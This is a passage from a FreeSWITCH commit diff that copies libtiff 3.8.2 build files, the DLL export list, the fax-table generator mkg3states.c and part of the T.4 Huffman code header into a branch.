+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+# Makefile for MS Visual C and Watcom C compilers.
+#
+# To build:
+# C:\libtiff\libtiff> nmake /f makefile.vc all
+#
+
+!INCLUDE ..\nmake.opt
+
+INCL	= -I. $(JPEG_INCLUDE) $(ZLIB_INCLUDE)
+
+!IFDEF USE_WIN_CRT_LIB
+OBJ_SYSDEP_MODULE = tif_unix.obj
+!ELSE
+OBJ_SYSDEP_MODULE = tif_win32.obj
+!ENDIF
+
+OBJ	= \
+	tif_aux.obj \
+	tif_close.obj \
+	tif_codec.obj \
+	tif_color.obj \
+	tif_compress.obj \
+	tif_dir.obj \
+	tif_dirinfo.obj \
+	tif_dirread.obj \
+	tif_dirwrite.obj \
+	tif_dumpmode.obj \
+	tif_error.obj \
+	tif_extension.obj \
+	tif_fax3.obj \
+	tif_fax3sm.obj \
+	tif_getimage.obj \
+	tif_jpeg.obj \
+	tif_ojpeg.obj \
+	tif_flush.obj \
+	tif_luv.obj \
+	tif_lzw.obj \
+	tif_next.obj \
+	tif_open.obj \
+	tif_packbits.obj \
+	tif_pixarlog.obj \
+	tif_predict.obj \
+	tif_print.obj \
+	tif_read.obj \
+	tif_stream.obj \
+	tif_swab.obj \
+	tif_strip.obj \
+	tif_thunder.obj \
+	tif_tile.obj \
+	tif_version.obj \
+	tif_warning.obj \
+	tif_write.obj \
+	tif_zip.obj \
+	$(OBJ_SYSDEP_MODULE)
+
+all:	libtiff.lib $(DLLNAME)
+
+tif_config.h:	tif_config.h.vc
+	copy tif_config.h.vc tif_config.h
+
+tiffconf.h:	tiffconf.h.vc
+	copy tiffconf.h.vc tiffconf.h
+
+libtiff.lib:	tif_config.h tiffconf.h $(OBJ)
+	$(AR) /out:libtiff.lib $(OBJ) $(LIBS)
+
+$(DLLNAME):	tif_config.h tiffconf.h libtiff.def $(OBJ)
+	$(LD) /debug /dll /def:libtiff.def /out:$(DLLNAME) \
+	/implib:libtiff_i.lib $(OBJ) $(LIBS)
+	
+clean:
+	-del *.obj
+	-del *.lib
+	-del *.dll
+	-del *.exe

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/SConstruct

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/SConstruct (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/SConstruct) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/SConstruct	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/SConstruct	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,71 @@
+# $Id: SConstruct,v 1.2 2006/03/23 14:54:02 dron Exp $
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2005, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# This file contains rules to build software with the SCons tool
+# (see the http://www.scons.org/ for details on SCons).
+
+# Import globally defined options
+Import([ 'env', 'idir_lib' ])
+
+SRCS = [ \
+	'tif_aux.c', \
+	'tif_close.c', \
+	'tif_codec.c', \
+	'tif_color.c', \
+	'tif_compress.c', \
+	'tif_dir.c', \
+	'tif_dirinfo.c', \
+	'tif_dirread.c', \
+	'tif_dirwrite.c', \
+	'tif_dumpmode.c', \
+	'tif_error.c', \
+	'tif_extension.c', \
+	'tif_fax3.c', \
+	'tif_fax3sm.c', \
+	'tif_flush.c', \
+	'tif_getimage.c', \
+	'tif_jpeg.c', \
+	'tif_luv.c', \
+	'tif_lzw.c', \
+	'tif_next.c', \
+	'tif_ojpeg.c', \
+	'tif_open.c', \
+	'tif_packbits.c', \
+	'tif_pixarlog.c', \
+	'tif_predict.c', \
+	'tif_print.c', \
+	'tif_read.c', \
+	'tif_strip.c', \
+	'tif_swab.c', \
+	'tif_thunder.c', \
+	'tif_tile.c', \
+	'tif_unix.c', \
+	'tif_version.c', \
+	'tif_warning.c', \
+	'tif_write.c', \
+	'tif_zip.c' ]
+
+StaticLibrary('tiff', SRCS)
+SharedLibrary('tiff', SRCS)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/libtiff.def

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/libtiff.def (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/libtiff.def) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/libtiff.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/libtiff.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+EXPORTS TIFFOpen
+	TIFFOpenW
+	TIFFGetVersion
+	TIFFCleanup
+	TIFFClose
+	TIFFFlush
+	TIFFFlushData
+	TIFFGetField
+	TIFFVGetField
+	TIFFGetFieldDefaulted
+	TIFFVGetFieldDefaulted
+	TIFFGetTagListEntry
+	TIFFGetTagListCount
+	TIFFReadDirectory
+	TIFFScanlineSize
+	TIFFStripSize
+	TIFFVStripSize
+	TIFFRawStripSize
+	TIFFTileRowSize
+	TIFFTileSize
+	TIFFVTileSize
+	TIFFFileno
+	TIFFSetFileno
+	TIFFGetMode
+	TIFFIsTiled
+	TIFFIsByteSwapped
+	TIFFIsBigEndian
+	TIFFIsMSB2LSB
+	TIFFIsUpSampled
+	TIFFCIELabToRGBInit
+	TIFFCIELabToXYZ
+	TIFFXYZToRGB
+	TIFFYCbCrToRGBInit
+	TIFFYCbCrtoRGB
+	TIFFCurrentRow
+	TIFFCurrentDirectory
+	TIFFCurrentStrip
+	TIFFCurrentTile
+	TIFFDataWidth
+	TIFFReadBufferSetup
+	TIFFWriteBufferSetup
+	TIFFSetupStrips
+	TIFFLastDirectory
+	TIFFSetDirectory
+	TIFFSetSubDirectory
+	TIFFUnlinkDirectory
+	TIFFSetField
+	TIFFVSetField
+	TIFFCheckpointDirectory
+	TIFFWriteDirectory
+	TIFFRewriteDirectory
+	TIFFPrintDirectory
+	TIFFReadScanline
+	TIFFWriteScanline
+	TIFFReadRGBAImage
+	TIFFReadRGBAImageOriented
+	TIFFFdOpen
+	TIFFClientOpen
+	TIFFFileName
+	TIFFError
+	TIFFErrorExt
+	TIFFWarning
+	TIFFWarningExt
+	TIFFSetErrorHandler
+	TIFFSetErrorHandlerExt
+	TIFFSetWarningHandler
+	TIFFSetWarningHandlerExt
+	TIFFComputeTile
+	TIFFCheckTile
+	TIFFNumberOfTiles
+	TIFFReadTile
+	TIFFWriteTile
+	TIFFComputeStrip
+	TIFFNumberOfStrips
+	TIFFRGBAImageBegin
+	TIFFRGBAImageGet
+	TIFFRGBAImageEnd
+	TIFFReadEncodedStrip
+	TIFFReadRawStrip
+	TIFFReadEncodedTile
+	TIFFReadRawTile
+	TIFFReadRGBATile
+	TIFFReadRGBAStrip
+	TIFFWriteEncodedStrip
+	TIFFWriteRawStrip
+	TIFFWriteEncodedTile
+	TIFFWriteRawTile
+	TIFFSetWriteOffset
+	TIFFSwabDouble
+	TIFFSwabShort
+	TIFFSwabLong
+	TIFFSwabArrayOfShort
+	TIFFSwabArrayOfLong
+	TIFFSwabArrayOfDouble
+	TIFFSwabArrayOfTriples
+	TIFFReverseBits
+	TIFFGetBitRevTable
+	TIFFDefaultStripSize
+	TIFFDefaultTileSize
+	TIFFRasterScanlineSize
+	_TIFFmalloc
+	_TIFFrealloc
+	_TIFFfree
+	_TIFFmemset
+	_TIFFmemcpy
+	_TIFFmemcmp
+	TIFFCreateDirectory
+	TIFFSetTagExtender
+	TIFFMergeFieldInfo
+	TIFFFindFieldInfo
+	TIFFFindFieldInfoByName
+	TIFFFieldWithName
+	TIFFFieldWithTag
+	TIFFCurrentDirOffset
+	TIFFWriteCheck
+	TIFFRGBAImageOK
+	TIFFNumberOfDirectories
+	TIFFSetFileName
+	TIFFSetClientdata
+	TIFFSetMode
+	TIFFClientdata
+	TIFFGetReadProc
+	TIFFGetWriteProc
+	TIFFGetSeekProc
+	TIFFGetCloseProc
+	TIFFGetSizeProc
+	TIFFGetMapFileProc
+	TIFFGetUnmapFileProc
+	TIFFIsCODECConfigured
+	TIFFGetConfiguredCODECs
+ 	TIFFFindCODEC
+ 	TIFFRegisterCODEC
+ 	TIFFUnRegisterCODEC
+	TIFFFreeDirectory
+	TIFFReadCustomDirectory
+	TIFFReadEXIFDirectory
+ 	TIFFAccessTagMethods
+ 	TIFFGetClientInfo
+ 	TIFFSetClientInfo
+ 	TIFFReassignTagToIgnore

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/mkg3states.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/mkg3states.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/mkg3states.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/mkg3states.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/mkg3states.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,440 @@
+/* "$Id: mkg3states.c,v 1.9 2004/10/10 11:46:16 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/* Initialise fax decoder tables
+ * Decoder support is derived, with permission, from the code
+ * in Frank Cringle's viewfax program;
+ *      Copyright (C) 1990, 1995  Frank D. Cringle.
+ */
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#include "tif_fax3.h"
+
+#define	streq(a,b)	(strcmp(a,b) == 0)
+
+/* NB: can't use names in tif_fax3.h 'cuz they are declared const */
+TIFFFaxTabEnt MainTable[128];
+TIFFFaxTabEnt WhiteTable[4096];
+TIFFFaxTabEnt BlackTable[8192];
+
+struct proto {
+    uint16 code;		/* right justified, lsb-first, zero filled */
+    uint16 val;		/* (pixel count)<<4 + code width  */
+};
+
+static struct proto Pass[] = {
+{ 0x0008, 4 },
+{ 0, 0 }
+};
+
+static struct proto Horiz[]  = {
+{ 0x0004, 3 },
+{ 0, 0 }
+};
+
+static struct proto V0[]  = {
+{ 0x0001, 1 },
+{ 0, 0 }
+};
+
+static struct proto VR[]  = {
+{ 0x0006, (1<<4)+3 },
+{ 0x0030, (2<<4)+6 },
+{ 0x0060, (3<<4)+7 },
+{ 0, 0 }
+};
+
+static struct proto VL[]  = {
+{ 0x0002, (1<<4)+3 },
+{ 0x0010, (2<<4)+6 },
+{ 0x0020, (3<<4)+7 },
+{ 0, 0 }
+};
+
+static struct proto Ext[]  = {
+{ 0x0040, 7 },
+{ 0, 0 }
+};
+
+static struct proto EOLV[]  = {
+{ 0x0000, 7 },
+{ 0, 0 }
+};
+
+static struct proto MakeUpW[] = {
+{ 0x001b, 1029 },
+{ 0x0009, 2053 },
+{ 0x003a, 3078 },
+{ 0x0076, 4103 },
+{ 0x006c, 5128 },
+{ 0x00ec, 6152 },
+{ 0x0026, 7176 },
+{ 0x00a6, 8200 },
+{ 0x0016, 9224 },
+{ 0x00e6, 10248 },
+{ 0x0066, 11273 },
+{ 0x0166, 12297 },
+{ 0x0096, 13321 },
+{ 0x0196, 14345 },
+{ 0x0056, 15369 },
+{ 0x0156, 16393 },
+{ 0x00d6, 17417 },
+{ 0x01d6, 18441 },
+{ 0x0036, 19465 },
+{ 0x0136, 20489 },
+{ 0x00b6, 21513 },
+{ 0x01b6, 22537 },
+{ 0x0032, 23561 },
+{ 0x0132, 24585 },
+{ 0x00b2, 25609 },
+{ 0x0006, 26630 },
+{ 0x01b2, 27657 },
+{ 0, 0 }
+};
+
+static struct proto MakeUpB[] = {
+{ 0x03c0, 1034 },
+{ 0x0130, 2060 },
+{ 0x0930, 3084 },
+{ 0x0da0, 4108 },
+{ 0x0cc0, 5132 },
+{ 0x02c0, 6156 },
+{ 0x0ac0, 7180 },
+{ 0x06c0, 8205 },
+{ 0x16c0, 9229 },
+{ 0x0a40, 10253 },
+{ 0x1a40, 11277 },
+{ 0x0640, 12301 },
+{ 0x1640, 13325 },
+{ 0x09c0, 14349 },
+{ 0x19c0, 15373 },
+{ 0x05c0, 16397 },
+{ 0x15c0, 17421 },
+{ 0x0dc0, 18445 },
+{ 0x1dc0, 19469 },
+{ 0x0940, 20493 },
+{ 0x1940, 21517 },
+{ 0x0540, 22541 },
+{ 0x1540, 23565 },
+{ 0x0b40, 24589 },
+{ 0x1b40, 25613 },
+{ 0x04c0, 26637 },
+{ 0x14c0, 27661 },
+{ 0, 0 }
+};
+
+static struct proto MakeUp[] = {
+{ 0x0080, 28683 },
+{ 0x0180, 29707 },
+{ 0x0580, 30731 },
+{ 0x0480, 31756 },
+{ 0x0c80, 32780 },
+{ 0x0280, 33804 },
+{ 0x0a80, 34828 },
+{ 0x0680, 35852 },
+{ 0x0e80, 36876 },
+{ 0x0380, 37900 },
+{ 0x0b80, 38924 },
+{ 0x0780, 39948 },
+{ 0x0f80, 40972 },
+{ 0, 0 }
+};
+
+static struct proto TermW[] = {
+{ 0x00ac, 8 },
+{ 0x0038, 22 },
+{ 0x000e, 36 },
+{ 0x0001, 52 },
+{ 0x000d, 68 },
+{ 0x0003, 84 },
+{ 0x0007, 100 },
+{ 0x000f, 116 },
+{ 0x0019, 133 },
+{ 0x0005, 149 },
+{ 0x001c, 165 },
+{ 0x0002, 181 },
+{ 0x0004, 198 },
+{ 0x0030, 214 },
+{ 0x000b, 230 },
+{ 0x002b, 246 },
+{ 0x0015, 262 },
+{ 0x0035, 278 },
+{ 0x0072, 295 },
+{ 0x0018, 311 },
+{ 0x0008, 327 },
+{ 0x0074, 343 },
+{ 0x0060, 359 },
+{ 0x0010, 375 },
+{ 0x000a, 391 },
+{ 0x006a, 407 },
+{ 0x0064, 423 },
+{ 0x0012, 439 },
+{ 0x000c, 455 },
+{ 0x0040, 472 },
+{ 0x00c0, 488 },
+{ 0x0058, 504 },
+{ 0x00d8, 520 },
+{ 0x0048, 536 },
+{ 0x00c8, 552 },
+{ 0x0028, 568 },
+{ 0x00a8, 584 },
+{ 0x0068, 600 },
+{ 0x00e8, 616 },
+{ 0x0014, 632 },
+{ 0x0094, 648 },
+{ 0x0054, 664 },
+{ 0x00d4, 680 },
+{ 0x0034, 696 },
+{ 0x00b4, 712 },
+{ 0x0020, 728 },
+{ 0x00a0, 744 },
+{ 0x0050, 760 },
+{ 0x00d0, 776 },
+{ 0x004a, 792 },
+{ 0x00ca, 808 },
+{ 0x002a, 824 },
+{ 0x00aa, 840 },
+{ 0x0024, 856 },
+{ 0x00a4, 872 },
+{ 0x001a, 888 },
+{ 0x009a, 904 },
+{ 0x005a, 920 },
+{ 0x00da, 936 },
+{ 0x0052, 952 },
+{ 0x00d2, 968 },
+{ 0x004c, 984 },
+{ 0x00cc, 1000 },
+{ 0x002c, 1016 },
+{ 0, 0 }
+};
+
+static struct proto TermB[] = {
+{ 0x03b0, 10 },
+{ 0x0002, 19 },
+{ 0x0003, 34 },
+{ 0x0001, 50 },
+{ 0x0006, 67 },
+{ 0x000c, 84 },
+{ 0x0004, 100 },
+{ 0x0018, 117 },
+{ 0x0028, 134 },
+{ 0x0008, 150 },
+{ 0x0010, 167 },
+{ 0x0050, 183 },
+{ 0x0070, 199 },
+{ 0x0020, 216 },
+{ 0x00e0, 232 },
+{ 0x0030, 249 },
+{ 0x03a0, 266 },
+{ 0x0060, 282 },
+{ 0x0040, 298 },
+{ 0x0730, 315 },
+{ 0x00b0, 331 },
+{ 0x01b0, 347 },
+{ 0x0760, 363 },
+{ 0x00a0, 379 },
+{ 0x0740, 395 },
+{ 0x00c0, 411 },
+{ 0x0530, 428 },
+{ 0x0d30, 444 },
+{ 0x0330, 460 },
+{ 0x0b30, 476 },
+{ 0x0160, 492 },
+{ 0x0960, 508 },
+{ 0x0560, 524 },
+{ 0x0d60, 540 },
+{ 0x04b0, 556 },
+{ 0x0cb0, 572 },
+{ 0x02b0, 588 },
+{ 0x0ab0, 604 },
+{ 0x06b0, 620 },
+{ 0x0eb0, 636 },
+{ 0x0360, 652 },
+{ 0x0b60, 668 },
+{ 0x05b0, 684 },
+{ 0x0db0, 700 },
+{ 0x02a0, 716 },
+{ 0x0aa0, 732 },
+{ 0x06a0, 748 },
+{ 0x0ea0, 764 },
+{ 0x0260, 780 },
+{ 0x0a60, 796 },
+{ 0x04a0, 812 },
+{ 0x0ca0, 828 },
+{ 0x0240, 844 },
+{ 0x0ec0, 860 },
+{ 0x01c0, 876 },
+{ 0x0e40, 892 },
+{ 0x0140, 908 },
+{ 0x01a0, 924 },
+{ 0x09a0, 940 },
+{ 0x0d40, 956 },
+{ 0x0340, 972 },
+{ 0x05a0, 988 },
+{ 0x0660, 1004 },
+{ 0x0e60, 1020 },
+{ 0, 0 }
+};
+
+static struct proto EOLH[] = {
+{ 0x0000, 11 },
+{ 0, 0 }
+};
+
+static void
+FillTable(TIFFFaxTabEnt *T, int Size, struct proto *P, int State)
+{
+    int limit = 1 << Size;
+
+    while (P->val) {
+	int width = P->val & 15;
+	int param = P->val >> 4;
+	int incr = 1 << width;
+	int code;
+	for (code = P->code; code < limit; code += incr) {
+	    TIFFFaxTabEnt *E = T+code;
+	    E->State = State;
+	    E->Width = width;
+	    E->Param = param;
+	}
+	P++;
+    }
+}
+
+static	char* storage_class = "";
+static	char* const_class = "";
+static	int packoutput = 1;
+static	char* prebrace = "";
+static	char* postbrace = "";
+
+void
+WriteTable(FILE* fd, const TIFFFaxTabEnt* T, int Size, const char* name)
+{
+    int i;
+    char* sep;
+
+    fprintf(fd, "%s %s TIFFFaxTabEnt %s[%d] = {",
+	storage_class, const_class, name, Size);
+    if (packoutput) {
+	sep = "\n";
+	for (i = 0; i < Size; i++) {
+	    fprintf(fd, "%s%s%d,%d,%d%s",
+		sep, prebrace, T->State, T->Width, (int) T->Param, postbrace);
+	    if (((i+1) % 10) == 0)
+		    sep = ",\n";
+	    else
+		    sep = ",";
+	    T++;
+	}
+    } else {
+	sep = "\n ";
+	for (i = 0; i < Size; i++) {
+	    fprintf(fd, "%s%s%3d,%3d,%4d%s",
+		sep, prebrace, T->State, T->Width, (int) T->Param, postbrace);
+	    if (((i+1) % 6) == 0)
+		    sep = ",\n ";
+	    else
+		    sep = ",";
+	    T++;
+	}
+    }
+    fprintf(fd, "\n};\n");
+}
+
+/* initialise the huffman code tables */
+int
+main(int argc, char* argv[])
+{
+    FILE* fd;
+    char* outputfile;
+    int c;
+    extern int optind;
+    extern char* optarg;
+
+    while ((c = getopt(argc, argv, "c:s:bp")) != -1)
+	switch (c) {
+	case 'c':
+	    const_class = optarg;
+	    break;
+	case 's':
+	    storage_class = optarg;
+	    break;
+	case 'p':
+	    packoutput = 0;
+	    break;
+	case 'b':
+	    prebrace = "{";
+	    postbrace = "}";
+	    break;
+	case '?':
+	    fprintf(stderr,
+		"usage: %s [-c const] [-s storage] [-p] [-b] file\n",
+		argv[0]);
+	    return (-1);
+	}
+    outputfile = optind < argc ? argv[optind] : "g3states.h";
+    fd = fopen(outputfile, "w");
+    if (fd == NULL) {
+	fprintf(stderr, "%s: %s: Cannot create output file.\n",
+	    argv[0], outputfile);
+	return (-2);
+    }
+    FillTable(MainTable, 7, Pass, S_Pass);
+    FillTable(MainTable, 7, Horiz, S_Horiz);
+    FillTable(MainTable, 7, V0, S_V0);
+    FillTable(MainTable, 7, VR, S_VR);
+    FillTable(MainTable, 7, VL, S_VL);
+    FillTable(MainTable, 7, Ext, S_Ext);
+    FillTable(MainTable, 7, EOLV, S_EOL);
+    FillTable(WhiteTable, 12, MakeUpW, S_MakeUpW);
+    FillTable(WhiteTable, 12, MakeUp, S_MakeUp);
+    FillTable(WhiteTable, 12, TermW, S_TermW);
+    FillTable(WhiteTable, 12, EOLH, S_EOL);
+    FillTable(BlackTable, 13, MakeUpB, S_MakeUpB);
+    FillTable(BlackTable, 13, MakeUp, S_MakeUp);
+    FillTable(BlackTable, 13, TermB, S_TermB);
+    FillTable(BlackTable, 13, EOLH, S_EOL);
+
+    fprintf(fd, "/* WARNING, this file was automatically generated by the\n");
+    fprintf(fd, "    mkg3states program */\n");
+    fprintf(fd, "#include \"tiff.h\"\n");
+    fprintf(fd, "#include \"tif_fax3.h\"\n");
+    WriteTable(fd, MainTable, 128, "TIFFFaxMainTable");
+    WriteTable(fd, WhiteTable, 4096, "TIFFFaxWhiteTable");
+    WriteTable(fd, BlackTable, 8192, "TIFFFaxBlackTable");
+    fclose(fd);
+    return (0);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/t4.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/t4.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/t4.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/t4.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/t4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,285 @@
+/* $Id: t4.h,v 1.1.1.1 1999/07/27 21:50:27 mike Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _T4_
+#define	_T4_
+/*
+ * CCITT T.4 1D Huffman runlength codes and
+ * related definitions.  Given the small sizes
+ * of these tables it does not seem
+ * worthwhile to make code & length 8 bits.
+ */
+typedef struct tableentry {
+    unsigned short length;	/* bit length of g3 code */
+    unsigned short code;	/* g3 code */
+    short	runlen;		/* run length in bits */
+} tableentry;
+
+#define	EOL	0x001	/* EOL code value - 0000 0000 0000 1 */
+
+/* status values returned instead of a run length */
+#define	G3CODE_EOL	-1	/* NB: ACT_EOL - ACT_WRUNT */
+#define	G3CODE_INVALID	-2	/* NB: ACT_INVALID - ACT_WRUNT */
+#define	G3CODE_EOF	-3	/* end of input data */
+#define	G3CODE_INCOMP	-4	/* incomplete run code */
+
+/*
+ * Note that these tables are ordered such that the
+ * index into the table is known to be either the
+ * run length, or (run length / 64) + a fixed offset.
+ *
+ * NB: The G3CODE_INVALID entries are only used
+ *     during state generation (see mkg3states.c).
+ */
+#ifdef G3CODES
+const tableentry TIFFFaxWhiteCodes[] = {
+    { 8, 0x35, 0 },	/* 0011 0101 */
+    { 6, 0x7, 1 },	/* 0001 11 */
+    { 4, 0x7, 2 },	/* 0111 */
+    { 4, 0x8, 3 },	/* 1000 */
+    { 4, 0xB, 4 },	/* 1011 */
+    { 4, 0xC, 5 },	/* 1100 */
+    { 4, 0xE, 6 },	/* 1110 */
+    { 4, 0xF, 7 },	/* 1111 */
+    { 5, 0x13, 8 },	/* 1001 1 */
+    { 5, 0x14, 9 },	/* 1010 0 */
+    { 5, 0x7, 10 },	/* 0011 1 */
+    { 5, 0x8, 11 },	/* 0100 0 */
+    { 6, 0x8, 12 },	/* 0010 00 */
+    { 6, 0x3, 13 },	/* 0000 11 */
+    { 6, 0x34, 14 },	/* 1101 00 */
+    { 6, 0x35, 15 },	/* 1101 01 */
+    { 6, 0x2A, 16 },	/* 1010 10 */
+    { 6, 0x2B, 17 },	/* 1010 11 */
+    { 7, 0x27, 18 },	/* 0100 111 */
+    { 7, 0xC, 19 },	/* 0001 100 */
+    { 7, 0x8, 20 },	/* 0001 000 */
+    { 7, 0x17, 21 },	/* 0010 111 */
+    { 7, 0x3, 22 },	/* 0000 011 */
+    { 7, 0x4, 23 },	/* 0000 100 */
+    { 7, 0x28, 24 },	/* 0101 000 */
+    { 7, 0x2B, 25 },	/* 0101 011 */
+    { 7, 0x13, 26 },	/* 0010 011 */
+    { 7, 0x24, 27 },	/* 0100 100 */
+    { 7, 0x18, 28 },	/* 0011 000 */
+    { 8, 0x2, 29 },	/* 0000 0010 */
+    { 8, 0x3, 30 },	/* 0000 0011 */
+    { 8, 0x1A, 31 },	/* 0001 1010 */
+    { 8, 0x1B, 32 },	/* 0001 1011 */
+    { 8, 0x12, 33 },	/* 0001 0010 */
+    { 8, 0x13, 34 },	/* 0001 0011 */
+    { 8, 0x14, 35 },	/* 0001 0100 */
+    { 8, 0x15, 36 },	/* 0001 0101 */
+    { 8, 0x16, 37 },	/* 0001 0110 */
+    { 8, 0x17, 38 },	/* 0001 0111 */
+    { 8, 0x28, 39 },	/* 0010 1000 */
+    { 8, 0x29, 40 },	/* 0010 1001 */
+    { 8, 0x2A, 41 },	/* 0010 1010 */
+    { 8, 0x2B, 42 },	/* 0010 1011 */
+    { 8, 0x2C, 43 },	/* 0010 1100 */
+    { 8, 0x2D, 44 },	/* 0010 1101 */
+    { 8, 0x4, 45 },	/* 0000 0100 */
+    { 8, 0x5, 46 },	/* 0000 0101 */
+    { 8, 0xA, 47 },	/* 0000 1010 */
+    { 8, 0xB, 48 },	/* 0000 1011 */
+    { 8, 0x52, 49 },	/* 0101 0010 */
+    { 8, 0x53, 50 },	/* 0101 0011 */
+    { 8, 0x54, 51 },	/* 0101 0100 */
+    { 8, 0x55, 52 },	/* 0101 0101 */
+    { 8, 0x24, 53 },	/* 0010 0100 */
+    { 8, 0x25, 54 },	/* 0010 0101 */
+    { 8, 0x58, 55 },	/* 0101 1000 */
+    { 8, 0x59, 56 },	/* 0101 1001 */
+    { 8, 0x5A, 57 },	/* 0101 1010 */
+    { 8, 0x5B, 58 },	/* 0101 1011 */
+    { 8, 0x4A, 59 },	/* 0100 1010 */
+    { 8, 0x4B, 60 },	/* 0100 1011 */
+    { 8, 0x32, 61 },	/* 0011 0010 */
+    { 8, 0x33, 62 },	/* 0011 0011 */
